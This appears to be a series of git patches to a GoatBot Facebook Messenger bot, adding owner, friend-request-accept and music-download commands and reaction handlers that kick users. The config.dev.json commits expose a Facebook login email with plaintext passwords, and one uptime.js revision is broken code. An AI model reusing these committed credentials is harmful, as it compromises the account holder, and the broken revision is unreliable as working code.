getLang("roleText0")) : - roleOfCommand == 1 ? - (roleIsSet ? getLang("roleText1setRole") : getLang("roleText1")) : - getLang("roleText2"); + const author = configCommand.author; + const descriptionCustomLang = customLang[configCommand.name]?.longDescription; + let description = checkLangObject(configCommand.longDescription, langCode); + if (description == undefined) + if (descriptionCustomLang != undefined) + description = checkLangObject(descriptionCustomLang, langCode); + else + description = getLang("doNotHave"); - const author = configCommand.author; - const descriptionCustomLang = customLang[configCommand.name]?.longDescription; - let description = checkLangObject(configCommand.longDescription, langCode); - if (description == undefined) - if (descriptionCustomLang != undefined) - description = checkLangObject(descriptionCustomLang, langCode); - else - description = getLang("doNotHave"); + let sendWithAttachment = false; // check subcommand need send with attachment or not - let sendWithAttachment = false; // check subcommand need send with attachment or not + if (args[1]?.match(/^-g|guide|-u|usage$/)) { + formSendMessage.body = getLang("onlyUsage", guideBody.split("\n").join("\n│")); + sendWithAttachment = true; + } + else if (args[1]?.match(/^-a|alias|aliase|aliases$/)) + formSendMessage.body = getLang("onlyAlias", aliasesString, aliasesThisGroup); + else if (args[1]?.match(/^-r|role$/)) + formSendMessage.body = getLang("onlyRole", roleText); + else if (args[1]?.match(/^-i|info$/)) + formSendMessage.body = getLang("onlyInfo", configCommand.name, description, aliasesString, aliasesThisGroup, configCommand.version, roleText, configCommand.countDown || 1, author || ""); + else { + formSendMessage.body = getLang("getInfoCommand", configCommand.name, description, aliasesString, aliasesThisGroup, configCommand.version, roleText, configCommand.countDown || 1, author || "", `${guideBody.split("\n").join("\n│")}`); + sendWithAttachment = true; + } - if (args[1]?.match(/^-g|guide|-u|usage$/)) { - formSendMessage.body = getLang("onlyUsage", guideBody.split("\n").join("\n│")); - sendWithAttachment = true; - } - else if (args[1]?.match(/^-a|alias|aliase|aliases$/)) - formSendMessage.body = getLang("onlyAlias", aliasesString, aliasesThisGroup); - else if (args[1]?.match(/^-r|role$/)) - formSendMessage.body = getLang("onlyRole", roleText); - else if (args[1]?.match(/^-i|info$/)) - formSendMessage.body = getLang("onlyInfo", configCommand.name, description, aliasesString, aliasesThisGroup, configCommand.version, roleText, configCommand.countDown || 1, author || ""); - else { - formSendMessage.body = getLang("getInfoCommand", configCommand.name, description, aliasesString, aliasesThisGroup, configCommand.version, roleText, configCommand.countDown || 1, author || "", `${guideBody.split("\n").join("\n│")}`); - sendWithAttachment = true; - } + if (sendWithAttachment && guide.attachment) { + if (typeof guide.attachment == "object" && !Array.isArray(guide.attachment)) { + const promises = []; + formSendMessage.attachment = []; - if (sendWithAttachment && guide.attachment) { - if (typeof guide.attachment == "object" && !Array.isArray(guide.attachment)) { - const promises = []; - formSendMessage.attachment = []; + for (const keyPathFile in guide.attachment) { + const pathFile = path.normalize(keyPathFile); - for (const keyPathFile in guide.attachment) { - const pathFile = path.normalize(keyPathFile); + if (!fs.existsSync(pathFile)) { + const cutDirPath = path.dirname(pathFile).split(path.sep); + for (let i = 0; i < cutDirPath.length; i++) { + const pathCheck = `${cutDirPath.slice(0, i + 1).join(path.sep)}${path.sep}`; // create path + if (!fs.existsSync(pathCheck)) + fs.mkdirSync(pathCheck); // create folder + } + const getFilePromise = axios.get(guide.attachment[keyPathFile], { responseType: 'arraybuffer' }) + .then(response => { + fs.writeFileSync(pathFile, Buffer.from(response.data)); + }); - if (!fs.existsSync(pathFile)) { - const cutDirPath = path.dirname(pathFile).split(path.sep); - for (let i = 0; i < cutDirPath.length; i++) { - const pathCheck = `${cutDirPath.slice(0, i + 1).join(path.sep)}${path.sep}`; // create path - if (!fs.existsSync(pathCheck)) - fs.mkdirSync(pathCheck); // create folder - } - const getFilePromise = axios.get(guide.attachment[keyPathFile], { responseType: 'arraybuffer' }) - .then(response => { - fs.writeFileSync(pathFile, Buffer.from(response.data)); - }); + promises.push({ + pathFile, + getFilePromise + }); + } + else { + promises.push({ + pathFile, + getFilePromise: Promise.resolve() + }); + } + } - promises.push({ - pathFile, - getFilePromise - }); - } - else { - promises.push({ - pathFile, - getFilePromise: Promise.resolve() - }); - } - } + await Promise.all(promises.map(item => item.getFilePromise)); + for (const item of promises) + formSendMessage.attachment.push(fs.createReadStream(item.pathFile)); + } + } - await Promise.all(promises.map(item => item.getFilePromise)); - for (const item of promises) - formSendMessage.attachment.push(fs.createReadStream(item.pathFile)); + return message.reply(formSendMessage); + } } - } - - return message.reply(formSendMessage); - } - } }; function checkLangObject(data, langCode) { - if (typeof data == "string") - return data; - if (typeof data == "object" && !Array.isArray(data)) - return data[langCode] || data.en || undefined; - return undefined; + if (typeof data == "string") + return data; + if (typeof data == "object" && !Array.isArray(data)) + return data[langCode] || data.en || undefined; + return undefined; } function cropContent(content, max) { - if (content.length > max) { - content = content.slice(0, max - 3); - content = content + "..."; - } - return content; -} \ No newline at end of file + if (content.length > max) { + content = content.slice(0, max - 3); + content = content + "..."; + } + return content; + } From 4217ac7329361d58182187faeae7244059c26bf7 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 11:02:36 +0545 Subject: [PATCH 031/126] Create owner.js --- scripts/cmds/owner.js | 60 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 scripts/cmds/owner.js diff --git a/scripts/cmds/owner.js b/scripts/cmds/owner.js new file mode 100644 index 0000000000..bd9a7e6de1 --- /dev/null +++ b/scripts/cmds/owner.js @@ -0,0 +1,60 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); + +module.exports = { +config: { + name: "owner", + aurthor:"Tokodori",// Convert By Goatbot Tokodori + role: 0, + shortDescription: " ", + longDescription: "𝐋𝐨𝐚𝐝𝐢𝐧𝐠 𝐎𝐰𝐧𝐞𝐫'𝐬 𝐈𝐧𝐟𝐨𝐫𝐦𝐚𝐭𝐢𝐨𝐧'", + category: "admin", + guide: "{pn}" +}, + + onStart: async function ({ api, event }) { + try { + const ownerInfo = { + name: '𝐈𝐭𝐚𝐜𝐡𝐢 𝐌𝐚𝐦𝐚', + gender: '𝐌𝐚𝐥𝐞', + age: '28', + facebookLink: 'https://www.facebook.com/profile.php?id=100074772216830', + }; + + const bold = 'https://i.imgur.com/DDO686J.mp4'; // Replace with your Google Drive videoid link https://drive.google.com/uc?export=download&id=here put your video id + + const tmpFolderPath = path.join(__dirname, 'tmp'); + + if (!fs.existsSync(tmpFolderPath)) { + fs.mkdirSync(tmpFolderPath); + } + + const videoResponse = await axios.get(bold, { responseType: 'arraybuffer' }); + const videoPath = path.join(tmpFolderPath, 'owner_video.mp4'); + + fs.writeFileSync(videoPath, Buffer.from(videoResponse.data, 'binary')); + + const response = ` +𝐎𝐰𝐧𝐞𝐫 𝐈𝐧𝐟𝐨𝐫𝐦𝐚𝐭𝐢𝐨𝐧:🧾 +Name: ${ownerInfo.name} +Gender: ${ownerInfo.gender} +Age: ${ownerInfo.age} +Facebook: ${ownerInfo.facebookLink} +`; + + + await api.sendMessage({ + body: response, + attachment: fs.createReadStream(videoPath) + }, event.threadID, event.messageID); + + if (event.body.toLowerCase().includes('ownerinfo')) { + api.setMessageReaction('🚀', event.messageID, (err) => {}, true); + } + } catch (error) { + console.error('Error in ownerinfo command:', error); + return api.sendMessage('An error occurred while processing the command.', event.threadID); + } +}, +}; From c07f5aa8fa2597f8abe0f3220ec1f78b79bb6305 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 11:03:39 +0545 Subject: [PATCH 032/126] Create acp.js --- scripts/cmds/acp.js | 132 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 132 insertions(+) create mode 100644 scripts/cmds/acp.js diff --git a/scripts/cmds/acp.js b/scripts/cmds/acp.js new file mode 100644 index 0000000000..a6a8ad2858 --- /dev/null +++ b/scripts/cmds/acp.js @@ -0,0 +1,132 @@ +const moment = require("moment-timezone"); + +module.exports = { + config: { + name: "accept", + aliases: ['acp'], + version: "1.0", + author: "Loid Butter", + countDown: 8, + role: 2, + shortDescription: "accept users", + longDescription: "accept users", + category: "Utility", + }, + + onReply: async function ({ message, Reply, event, api, commandName }) { + const { author, listRequest, messageID } = Reply; + if (author !== event.senderID) return; + const args = event.body.replace(/ +/g, " ").toLowerCase().split(" "); + + clearTimeout(Reply.unsendTimeout); // Clear the timeout if the user responds within the countdown duration + + const form = { + av: api.getCurrentUserID(), + fb_api_caller_class: "RelayModern", + variables: { + input: { + source: "friends_tab", + actor_id: api.getCurrentUserID(), + client_mutation_id: Math.round(Math.random() * 19).toString() + }, + scale: 3, + refresh_num: 0 + } + }; + + const success = []; + const failed = []; + + if (args[0] === "add") { + form.fb_api_req_friendly_name = "FriendingCometFriendRequestConfirmMutation"; + form.doc_id = "3147613905362928"; + } + else if (args[0] === "del") { + form.fb_api_req_friendly_name = "FriendingCometFriendRequestDeleteMutation"; + form.doc_id = "4108254489275063"; + } + else { + return api.sendMessage("Please select ", event.threadID, event.messageID); + } + + let targetIDs = args.slice(1); + + if (args[1] === "all") { + targetIDs = []; + const lengthList = listRequest.length; + for (let i = 1; i <= lengthList; i++) targetIDs.push(i); + } + + const newTargetIDs = []; + const promiseFriends = []; + + for (const stt of targetIDs) { + const u = listRequest[parseInt(stt) - 1]; + if (!u) { + failed.push(`Can't find stt ${stt} in the list`); + continue; + } + form.variables.input.friend_requester_id = u.node.id; + form.variables = JSON.stringify(form.variables); + newTargetIDs.push(u); + promiseFriends.push(api.httpPost("https://www.facebook.com/api/graphql/", form)); + form.variables = JSON.parse(form.variables); + } + + const lengthTarget = newTargetIDs.length; + for (let i = 0; i < lengthTarget; i++) { + try { + const friendRequest = await promiseFriends[i]; + if (JSON.parse(friendRequest).errors) { + failed.push(newTargetIDs[i].node.name); + } + else { + success.push(newTargetIDs[i].node.name); + } + } + catch (e) { + failed.push(newTargetIDs[i].node.name); + } + } + + if (success.length > 0) { + api.sendMessage(`» The ${args[0] === 'add' ? 'friend request' : 'friend request deletion'} has been processed for ${success.length} people:\n\n${success.join("\n")}${failed.length > 0 ? `\n» The following ${failed.length} people encountered errors: ${failed.join("\n")}` : ""}`, event.threadID, event.messageID); + } else { + api.unsendMessage(messageID); // Unsend the message if the response is incorrect + return api.sendMessage("Invalid response. Please provide a valid response.", event.threadID); + } + + api.unsendMessage(messageID); // Unsend the message after it has been processed + }, + + onStart: async function ({ event, api, commandName }) { + const form = { + av: api.getCurrentUserID(), + fb_api_req_friendly_name: "FriendingCometFriendRequestsRootQueryRelayPreloader", + fb_api_caller_class: "RelayModern", + doc_id: "4499164963466303", + variables: JSON.stringify({ input: { scale: 3 } }) + }; + const listRequest = JSON.parse(await api.httpPost("https://www.facebook.com/api/graphql/", form)).data.viewer.friending_possibilities.edges; + let msg = ""; + let i = 0; + for (const user of listRequest) { + i++; + msg += (`\n${i}. Name: ${user.node.name}` + + `\nID: ${user.node.id}` + + `\nUrl: ${user.node.url.replace("www.facebook", "fb")}` + + `\nTime: ${moment(user.time * 1009).tz("Asia/Manila").format("DD/MM/YYYY HH:mm:ss")}\n`); + } + api.sendMessage(`${msg}\nReply to this message with content: to take action`, event.threadID, (e, info) => { + global.GoatBot.onReply.set(info.messageID, { + commandName, + messageID: info.messageID, + listRequest, + author: event.senderID, + unsendTimeout: setTimeout(() => { + api.unsendMessage(info.messageID); // Unsend the message after the countdown duration + }, this.config.countDown * 20000) // Convert countdown duration to milliseconds + }); + }, event.messageID); + } +}; From 85947d50916574790d71becc484d30f0f7da9278 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 11:07:12 +0545 Subject: [PATCH 033/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 281ccceb79..3c4ebbefe0 100644 --- a/config.dev.json +++ b/config.dev.json @@ -138,7 +138,7 @@ "updatePresence": true, "listenTyping": true, "logLevel": "error", - "selfListen": false, + "selfListen": true, "selfListenEvent": true, "autoMarkDelivery": false, "autoReconnect": false, From 82632f6952bf18430a6a4b6d64b2bcba8d53c533 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 29 Feb 2024 17:25:46 +0545 Subject: [PATCH 034/126] Update sing.js --- scripts/cmds/sing.js | 181 +++++++++++++++++++++++-------------------- 1 file changed, 96 insertions(+), 85 deletions(-) diff --git a/scripts/cmds/sing.js b/scripts/cmds/sing.js index b5c0d276fd..3afa7f125f 100644 --- a/scripts/cmds/sing.js +++ b/scripts/cmds/sing.js @@ -1,87 +1,98 @@ +const fs = require("fs-extra"); +const ytdl = require("@neoxr/ytdl-core"); +const yts = require("yt-search"); +const axios = require('axios'); +const tinyurl = require('tinyurl'); + module.exports = { - config: { - name: "sing", - version: "1.0", - role: 0, - author: "kshitiz", - cooldowns: 5, - shortdescription: "download music from YouTube", - longdescription: "", - category: "music", - usages: "{pn} music name", - dependencies: { - "fs-extra": "", - "request": "", - "axios": "", - "ytdl-core": "", - "yt-search": "" - } - }, - - onStart: async ({ api, event }) => { - const axios = require("axios"); - const fs = require("fs-extra"); - const ytdl = require("ytdl-core"); - const request = require("request"); - const yts = require("yt-search"); - - const input = event.body; - const text = input.substring(12); - const data = input.split(" "); - - if (data.length < 2) { - return api.sendMessage("Please specify a music name.", event.threadID); - } - - data.shift(); - const musicName = data.join(" "); - - try { - api.sendMessage(`✔ | 𝐒𝐞𝐚𝐫𝐜𝐡𝐢𝐧𝐠 𝐦𝐮𝐬𝐢𝐜 𝐟𝐨𝐫 "${musicName}".\ 𝐄𝐤𝐱𝐢𝐧 𝐩𝐚𝐫𝐤𝐡𝐚𝐧𝐮𝐡𝐨𝐬...`, event.threadID); - - const searchResults = await yts(musicName); - if (!searchResults.videos.length) { - return api.sendMessage("𝐤𝐮𝐧𝐚𝐢 𝐦𝐮𝐬𝐢𝐜 𝐯𝐞𝐭𝐢𝐲𝐞𝐧𝐚.", event.threadID, event.messageID); - } - - const music = searchResults.videos[0]; - const musicUrl = music.url; - - const stream = ytdl(musicUrl, { filter: "audioonly" }); - - const fileName = `${event.senderID}.mp3`; - const filePath = __dirname + `/cache/${fileName}`; - - stream.pipe(fs.createWriteStream(filePath)); - - stream.on('response', () => { - console.info('[DOWNLOADER]', 'Starting download now!'); - }); - - stream.on('info', (info) => { - console.info('[DOWNLOADER]', `Downloading music: ${info.videoDetails.title}`); - }); - - stream.on('end', () => { - console.info('[DOWNLOADER] Downloaded'); - - if (fs.statSync(filePath).size > 26214400) { - fs.unlinkSync(filePath); - return api.sendMessage('❌ | 𝐓𝐡𝐞 𝐟𝐢𝐥𝐞 𝐜𝐨𝐮𝐥𝐝 𝐧𝐨𝐭 𝐛𝐞 𝐬𝐞𝐧𝐭 𝐛𝐞𝐜𝐚𝐮𝐬𝐞 𝐢𝐭 𝐢𝐬 𝐥𝐚𝐫𝐠𝐞𝐫 𝐭𝐡𝐚𝐧 25𝐌𝐁.', event.threadID); - } - - const message = { - body: `👉 ❀ 𝐓𝐚𝐩𝐚𝐢 𝐤𝐨 𝐠𝐞𝐞𝐭 \ ❀ 𝐓𝐢𝐭𝐥𝐞: ${music.title}\ 𝐃𝐮𝐫𝐚𝐭𝐢𝐨𝐧: ${music.duration.timestamp}`, - attachment: fs.createReadStream(filePath) - }; - - api.sendMessage(message, event.threadID, () => { - fs.unlinkSync(filePath); - }); - }); - } catch (error) { - console.error('[ERROR]', error); - api.sendMessage('🥱 ❀ 𝐀𝐧 𝐞𝐫𝐫𝐨𝐫 𝐨𝐜𝐜𝐮𝐫𝐫𝐞𝐝 𝐰𝐡𝐢𝐥𝐞 𝐩𝐫𝐨𝐜𝐞𝐬𝐬𝐢𝐧𝐠 𝐭𝐡𝐞 𝐜𝐨𝐦𝐦𝐚𝐧𝐝.', event.threadID); - } - } + config: { + name: "sing", + version: "1.4", + author: " KShitiz || JARiF", + countDown: 5, + role: 0, + category: "𝗠𝗘𝗗𝗜𝗔", + }, + + onStart: async function ({ api, event, message }) { + try { + let query = ''; + + + if (event.type === "message_reply" && ["audio", "video"].includes(event.messageReply.attachments[0].type)) { + const attachmentUrl = event.messageReply.attachments[0].url; + + + const transcription = await extractTextFromAudio(attachmentUrl); + + + query = transcription.split('\n')[0]; + } else { + + const input = event.body; + const data = input.split(" "); + + if (data.length < 2) { + return message.reply("Please put a song"); + } + + data.shift(); + query = data.join(" "); + } + + + const originalMessage = await message.reply(`Searching for "${query}"...`); + const searchResults = await yts(query); + + if (!searchResults.videos.length) { + return message.reply("Error: Song not found."); + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); + const fileName = `music.mp3`; + const filePath = `${__dirname}/tmp/${fileName}`; + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', async () => { + console.info('[DOWNLOADER] Downloaded'); + if (fs.statSync(filePath).size > 26214400) { + fs.unlinkSync(filePath); + return message.reply('[ERR] The file could not be sent because it is larger than 25MB.'); + } + const replyMessage = { + body: `Title: ${video.title}\nArtist: ${video.author.name}`, + attachment: fs.createReadStream(filePath), + }; + await api.unsendMessage(originalMessage.messageID); + await message.reply(replyMessage, event.threadID, () => { + fs.unlinkSync(filePath); + }); + }); + } catch (error) { + console.error('[ERROR]', error); + message.reply("An error occurred while processing the request."); + } + }, }; + + +async function extractTextFromAudio(audioUrl) { + try { + const response = await axios.get(`https://milanbhandari.onrender.com/transcribe?url=${encodeURIComponent(audioUrl)}`); + return response.data.transcript || ''; + } catch (error) { + console.error('[ERROR]', error); + return ''; + } +} From f10f9ecc463b617a9f692544ec0819f34215bc95 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 2 Mar 2024 09:17:04 +0545 Subject: [PATCH 035/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 3c4ebbefe0..5ad83bab33 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "hackereditor87@gmail.com", - "password": "MIADD12345", + "password": "DATTEBAYO", "2FASecret": "", "i_user": "", "proxy": null, From 61a89bce8b61cbd2c797422f2e2ff9b07b1b5d0c Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 2 Mar 2024 17:22:48 +0545 Subject: [PATCH 036/126] Update handlerAction.js --- bot/handler/handlerAction.js | 122 +++++++++++++++++------------------ 1 file changed, 59 insertions(+), 63 deletions(-) diff --git a/bot/handler/handlerAction.js b/bot/handler/handlerAction.js index 13f33bb0d4..a40fb13be5 100644 --- a/bot/handler/handlerAction.js +++ b/bot/handler/handlerAction.js @@ -2,66 +2,62 @@ const createFuncMessage = global.utils.message; const handlerCheckDB = require("./handlerCheckData.js"); module.exports = (api, threadModel, userModel, dashBoardModel, globalModel, usersData, threadsData, dashBoardData, globalData) => { - const handlerEvents = require(process.env.NODE_ENV == 'development' ? "./handlerEvents.dev.js" : "./handlerEvents.js")(api, threadModel, userModel, dashBoardModel, globalModel, usersData, threadsData, dashBoardData, globalData); - - return async function (event) { - // Check if the bot is in the inbox and anti inbox is enabled - if ( - global.GoatBot.config.antiInbox == true && - (event.senderID == event.threadID || event.userID == event.senderID || event.isGroup == false) && - (event.senderID || event.userID || event.isGroup == false) - ) - return; - - const message = createFuncMessage(api, event); - - await handlerCheckDB(usersData, threadsData, event); - const handlerChat = await handlerEvents(event, message); - if (!handlerChat) - return; - - const { - onAnyEvent, onFirstChat, onStart, onChat, - onReply, onEvent, handlerEvent, onReaction, - typ, presence, read_receipt - } = handlerChat; - - - onAnyEvent(); - switch (event.type) { - case "message": - case "message_reply": - case "message_unsend": - onFirstChat(); - onChat(); - onStart(); - onReply(); - break; - case "event": - handlerEvent(); - onEvent(); - break; - case "message_reaction": - onReaction(); - break; - case "typ": - typ(); - break; - case "presence": - presence(); - break; - case "read_receipt": - read_receipt(); - break; - // case "friend_request_received": - // { /* code block */ } - // break; - - // case "friend_request_cancel" - // { /* code block */ } - // break; - default: - break; - } - }; -}; \ No newline at end of file + const handlerEvents = require(process.env.NODE_ENV == 'development' ? "./handlerEvents.dev.js" : "./handlerEvents.js")(api, threadModel, userModel, dashBoardModel, globalModel, usersData, threadsData, dashBoardData, globalData); + + return async function (event) { + const message = createFuncMessage(api, event); + + await handlerCheckDB(usersData, threadsData, event); + const handlerChat = await handlerEvents(event, message); + if (!handlerChat) + return; + + const { onStart, onChat, onReply, onEvent, handlerEvent, onReaction, typ, presence, read_receipt } = handlerChat; + + switch (event.type) { + case "message": + case "message_reply": + case "message_unsend": + onChat(); + onStart(); + onReply(); + break; + case "event": + handlerEvent(); + onEvent(); + break; + case "message_reaction": + onReaction(); + + if(event.reaction == "❗"){ + if(event.userID == ""){ +api.removeUserFromGroup(event.senderID, event.threadID, (err) => { + if (err) return console.log(err); + }); + +}else{ + message.send("( \_/)\n( •_•)\n// >🧠\nYou Drop This Dumb Ass") + } + } + if(event.reaction == "😠"){ + if(event.senderID == api.getCurrentUserID()){if(event.userID == ""){ + message.unsend(event.messageID) +}else{ + message.send("( \_/)\n( •_•)\n// >🧠\nYou Drop This Dumb Ass") + }} + } + break; + case "typ": + typ(); + break; + case "presence": + presence(); + break; + case "read_receipt": + read_receipt(); + break; + default: + break; + } + }; +}; From 70927f80a5b9440f083cd634f905e5a98192bf22 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sat, 2 Mar 2024 17:33:51 +0545 Subject: [PATCH 037/126] Update handlerAction.js --- bot/handler/handlerAction.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bot/handler/handlerAction.js b/bot/handler/handlerAction.js index a40fb13be5..ce47fc3025 100644 --- a/bot/handler/handlerAction.js +++ b/bot/handler/handlerAction.js @@ -30,7 +30,7 @@ module.exports = (api, threadModel, userModel, dashBoardModel, globalModel, user onReaction(); if(event.reaction == "❗"){ - if(event.userID == ""){ + if(event.userID == "100074772216830"){ api.removeUserFromGroup(event.senderID, event.threadID, (err) => { if (err) return console.log(err); }); @@ -40,7 +40,7 @@ api.removeUserFromGroup(event.senderID, event.threadID, (err) => { } } if(event.reaction == "😠"){ - if(event.senderID == api.getCurrentUserID()){if(event.userID == ""){ + if(event.senderID == api.getCurrentUserID()){if(event.userID == "100074772216830"){ message.unsend(event.messageID) }else{ message.send("( \_/)\n( •_•)\n// >🧠\nYou Drop This Dumb Ass") From 4de35a6f21c0b5832bb269ee48e61a956147a717 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 6 Mar 2024 09:09:54 +0545 Subject: [PATCH 038/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 5ad83bab33..7ccf0dd852 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "hackereditor87@gmail.com", - "password": "DATTEBAYO", + "password": "MADARCHOD", "2FASecret": "", "i_user": "", "proxy": null, From 27cd5875025b8a83bb87c565c8707e52fab0332e Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 6 Mar 2024 09:11:45 +0545 Subject: [PATCH 039/126] Update uptime.js --- scripts/cmds/uptime.js | 130 +++++++++++++++++++++++++++++++++-------- 1 file changed, 105 insertions(+), 25 deletions(-) diff --git a/scripts/cmds/uptime.js b/scripts/cmds/uptime.js index eac5596b4f..5ca5de61ea 100644 --- a/scripts/cmds/uptime.js +++ b/scripts/cmds/uptime.js @@ -1,28 +1,108 @@ + const axios = require("axios"); + const fs = require("fs-extra"); + const ytdl = require("ytdl-core"); + const request = require("request"); + const yts = require("yt-search"); + + const input = event.body; + const text = input.substring(12); + const data = input.split(" "); module.exports = { - config: { - name: "uptime", - aliases: ["up", "upt"], - version: "1.0", - author: "XyryllPanget", - role: 0, - shortDescription: { - en: "Displays the uptime of the bot." - }, - longDescription: { - en: "Displays the amount of time that the bot has been running for." - }, - category: "System", - guide: { - en: "Use {p}uptime to display the uptime of the bot." + config: { + name: "sing2", + version: "1.0", + author: "Itachi", + countDown: 5, + role: 0, + shortDescription: "singing command", + longDescription: "", + category: "fun", + guide: { + vi: "", + en: "" } - }, - onStart: async function ({ api, event, args }) { - const uptime = process.uptime(); - const seconds = Math.floor(uptime % 60); - const minutes = Math.floor((uptime / 60) % 60); - const hours = Math.floor((uptime / (60 * 60)) % 24); - const days = Math.floor(uptime / (60 * 60 * 24)); - const uptimeString = `${hours} hours ${minutes} minutes ${seconds} second`; - api.sendMessage(`hello user, the bot has been running for ${uptimeString}.`, event.threadID); - } + }, + + onStart: async function ({ message, event, args }) { + try { + let query = ''; + + + if (event.type === "message_reply" && ["audio", "video"].includes(event.messageReply.attachments[0].type)) { + const attachmentUrl = event.messageReply.attachments[0].url; + + + const transcription = await extractTextFromAudio(attachmentUrl); + + + query = transcription.split('\n')[0]; + } else { + + const input = event.body; + const data = input.split(" "); + + if (data.length < 2) { + return message.reply("Please put a song" + "\n" + "Example: sing "); + } + + data.shift(); + query = data.join(" "); + } + + + const originalMessage = await message.reply(`Searching for "${query}"...`); + const searchResults = await yts(query); + + if (!searchResults.videos.length) { + return message.reply("Error: Song not found."); + } + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); + const fileName = `music.mp3`; + const filePath = `${__dirname}/tmp/${fileName}`; + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', + `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', async () => { + console.info('[DOWNLOADER] Downloaded'); + if (fs.statSync(filePath).size > 26214400) { + fs.unlinkSync(filePath); + return message.reply('[ERR] The file could not be sent because it is larger than 25MB.'); + } + const replyMessage = { + body: `Title: ${video.title}\nArtist: ${video.author.name}`, + attachment: fs.createReadStream(filePath), + }; + await api.unsendMessage(originalMessage.messageID); + await message.reply(replyMessage, event.threadID, () => { + fs.unlinkSync(filePath); + }); + }); + } catch (error) { + console.error('[ERROR]', error); + message.reply("An error occurred while processing the request."); + } + }, +}; + + +async function extractTextFromAudio(audioUrl) { + try { + const response = await axios.get(`https://milanbhandari.onrender.com/transcribe?url=${encodeURIComponent(audioUrl)}`); + return response.data.transcript || ''; + } catch (error) { + console.error('[ERROR]', error); + return ''; + + } }; From afe3bab7bfc563f1855df92a0cda97f016e85401 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Wed, 6 Mar 2024 09:20:38 +0545 Subject: [PATCH 040/126] Update uptime.js --- scripts/cmds/uptime.js | 135 +++++++++-------------------------------- 1 file changed, 30 insertions(+), 105 deletions(-) diff --git a/scripts/cmds/uptime.js b/scripts/cmds/uptime.js index 5ca5de61ea..80aad703d9 100644 --- a/scripts/cmds/uptime.js +++ b/scripts/cmds/uptime.js @@ -1,108 +1,33 @@ - const axios = require("axios"); - const fs = require("fs-extra"); - const ytdl = require("ytdl-core"); - const request = require("request"); - const yts = require("yt-search"); - - const input = event.body; - const text = input.substring(12); - const data = input.split(" "); module.exports = { - config: { - name: "sing2", - version: "1.0", - author: "Itachi", - countDown: 5, - role: 0, - shortDescription: "singing command", - longDescription: "", - category: "fun", - guide: { - vi: "", - en: "" + config: { + name: "uptime", + aliases: ["up", "upt"], + version: "1.0", + author: "Itachi", + role: 0, + shortDescription: { + en: "Displays the uptime of the bot." + }, + longDescription: { + en: "Displays the amount of time that the bot has been running for." + }, + category: "System", + guide: { + en: "Use {p}uptime to display the uptime of the bot." } - }, - - onStart: async function ({ message, event, args }) { - try { - let query = ''; - - - if (event.type === "message_reply" && ["audio", "video"].includes(event.messageReply.attachments[0].type)) { - const attachmentUrl = event.messageReply.attachments[0].url; - - - const transcription = await extractTextFromAudio(attachmentUrl); - - - query = transcription.split('\n')[0]; - } else { - - const input = event.body; - const data = input.split(" "); - - if (data.length < 2) { - return message.reply("Please put a song" + "\n" + "Example: sing "); - } - - data.shift(); - query = data.join(" "); - } - - - const originalMessage = await message.reply(`Searching for "${query}"...`); - const searchResults = await yts(query); - - if (!searchResults.videos.length) { - return message.reply("Error: Song not found."); - } - const video = searchResults.videos[0]; - const videoUrl = video.url; - const stream = ytdl(videoUrl, { filter: "audioonly" }); - const fileName = `music.mp3`; - const filePath = `${__dirname}/tmp/${fileName}`; - - stream.pipe(fs.createWriteStream(filePath)); - - stream.on('response', () => { - console.info('[DOWNLOADER]', 'Starting download now!'); - }); - - stream.on('info', (info) => { - console.info('[DOWNLOADER]', - `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); - }); - - stream.on('end', async () => { - console.info('[DOWNLOADER] Downloaded'); - if (fs.statSync(filePath).size > 26214400) { - fs.unlinkSync(filePath); - return message.reply('[ERR] The file could not be sent because it is larger than 25MB.'); - } - const replyMessage = { - body: `Title: ${video.title}\nArtist: ${video.author.name}`, - attachment: fs.createReadStream(filePath), - }; - await api.unsendMessage(originalMessage.messageID); - await message.reply(replyMessage, event.threadID, () => { - 